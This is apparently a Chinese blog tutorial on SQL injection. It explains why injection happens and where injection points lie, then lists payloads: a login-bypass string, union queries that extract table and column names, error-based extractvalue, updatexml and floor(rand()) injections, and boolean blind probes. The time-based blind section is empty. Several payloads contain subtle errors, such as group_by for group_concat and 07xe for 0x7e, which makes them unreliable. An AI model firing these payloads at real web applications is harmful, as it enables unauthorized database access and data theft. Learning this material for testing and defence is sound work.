【sql注入】一篇文章全搞定

目录

sql注入原理:

1.常见数据库对应的端口号(面试常问)

3.什么是注入?

4.注入分类

5.注入流程

6.什么是注入点?

7.注入类型判断(数字型还是字符型

8.注入常用函数

9.union联合注入

10.报错注入

extractvalue函数原理

updatexml函数

floor()

11.布尔盲注:

12.时间盲注:


sql注入原理:

通过将恶意的sql查询或添加语句插入到应用的输入参数中(Web表单递交或输入域名或页面请求的查询字符串),再在后台sql服务器上解析执行进行的攻击

原因:1.未对用户可控参数进行足够的过滤边境参数内容拼接到sql语句程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造sql语句

2.程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造sql语句(没有使用预编译)

后台管理登录:万能密码:‘or 1=1 --+’ 闭合前面’--+注释掉后面

1.常见数据库对应的端口号(面试常问)

一、关系型数据库
1、MySql数据库 ,默认端口是: 3306;
2、Oracle数据库 ,默认端口号为:1521;
3、Sql Server数据库 ,默认端口号为:1433;
4、DB2数据库, 默认端口号为:5000;
5、PostgreSQL数据库, 默认端口号为:5432;
6、国产的DM达梦数据库, 默认端口号为:5236。
二、NoSql数据库(非关系型数据库):
1.Redis数据库,默认端口号:6379;
2.Memcached数据库,默认端口号:11211 ;
3.MongoDB数据库,默认端口号:27017;

2.安装浏览器插件(HackBar)

3.什么是注入?

注入攻击是指攻击者在应用程序接收用户输入的地方注入自己精心构造的攻击代码,以达到执行任意操作、篡改数据或者获取敏感信息的目的。

注入攻击是 Web 应用程序中最常见的攻击类型之一,攻击成功将导致应用程序的机密性、完整性和可用性等方面的风险。

4.注入分类

注入攻击的种类

常见的注入攻击类型包括 :

SQL 注入: 通过在 SQL 语句中注入恶意代码来执行不受信任的操作,以获取敏感数据或者篡改数据。

XFF注入 x-forward-for:标识客户端IP

ua注入:user agent

命令注入: 攻击者将能够执行不受信任的操作的命令注入到应用程序中。

LDAP 注入: 利用 LDAP 查询中的漏洞来获取敏感信息或者更改应用程序的行为。

OS 注入: 利用操作系统的漏洞,向服务器输入不受信任的数据,以利用操作系统上的缺陷来执行可疑操作。

XML 注入: 利用 XML 编辑器中的漏洞创建恶意 XML 代码的攻击

5.注入流程

6.什么是注入点?

任何服务器能取到的用户输入,都是可能存在SQL注入的注入点

登录注册

搜索栏

文章详情页面

http请求头部:xff referer user-agent cookie

留言板

分页

公告

7.注入类型判断(数字型还是字符型

数字型注入

如果是数字型注入我们可以通过简单的逻辑等式判断,构造语句?id=1 and 1=1 和 ?id=1 and 1=2 。

这样构造的话我们来看看后台实际上SQL语句是怎么样的:

select * from table_name where id=1 and 1=1

select * from table_name where id=1 and 1=2

第一个语句是永真式,所以页面回显正常,第二个为永假所以页面回显不正常

字符型注入

如果是字符型注入那么SQL语句我们可以用上面的语句构造吗?显然是不行的,若是按照上面的构造方法后台应该是这样的:

select * from table_name where id='1 and 1=2'

这样一来1 and 1=2 就变成了一个字符串,不能进行逻辑判断。

我们可以尝试一下构造:?id=1’ and ‘1’=1’ 和 ?id=1’ and ‘1’='2,这么做的目的是什么呢?我们来看一下在后台执行的语句应该是什么样的

select *from table_name where id ='1' and '1'='1'

select *from table_name where id ='1' and '1'='2'

分析一下上面的两个语句,因为字符型输入是需要用单引号包裹起来的,所以通过这样构造来判断是否是字符型注入,若是字符型注入的话第一条语句页面回显应该是正常的(逻辑永真),第二个页面回显应该是不正常的(逻辑判断为假)

8.注入常用函数

user()返回当前用户名和主机名

version()或@@version 返回当前数据库的完整版本信息

database()返回当前数据库名称

IF()条件判断 if()?true:false

ASCII()返回字符串的第一个字符的ASCII码

CHAR()将ASCII码值转换成对应字符,可将多个码转换为相应的字符串

sleep()将此sqk语句休眠N秒再运行(常与判断语句连用)

substr()截取数据库某一列字段中的一部分

hex()将字符串转换为十六进制表示

unhex() hex的逆运算

9.union联合注入

--+ sql注释-- +转换为空格

将id换为不存在的数,因为不存在回显 union默认把第一行命令回显,保障页面回显不受干扰回显出我们想要的

table_schema放数据库名

id=1 union select 1,2,group_by(column_name) from information_schema.columns where table_schema=database() and table_name=users

10.报错注入

extractvalue函数原理

这是一个对xml文件进行查询的函数,更准确地说,它是会从目标xml文件中返回所包含查询值的字符串

写错路径

id=-1 union select 1,2,extractvalue(1,concat(07xe,(select database())))

updatexml函数

顺便讲一下这个函数,跟extractvalue基本相同。
顾名思义,这是个修改xml文件的函数

floor()

select count(*) concat_ws('~',(select database()),floor(rand()*2)) as a from users group by a

rand(0)

11.布尔盲注:

盲注:没有回显位和报错

substr(1,2,3) 1:要显示的 2:从第几个开始 3:一次显示几个字符

id=1' and ascii(substr((select database()),1,1)>=100 --+

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>=100 --+

12.时间盲注:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值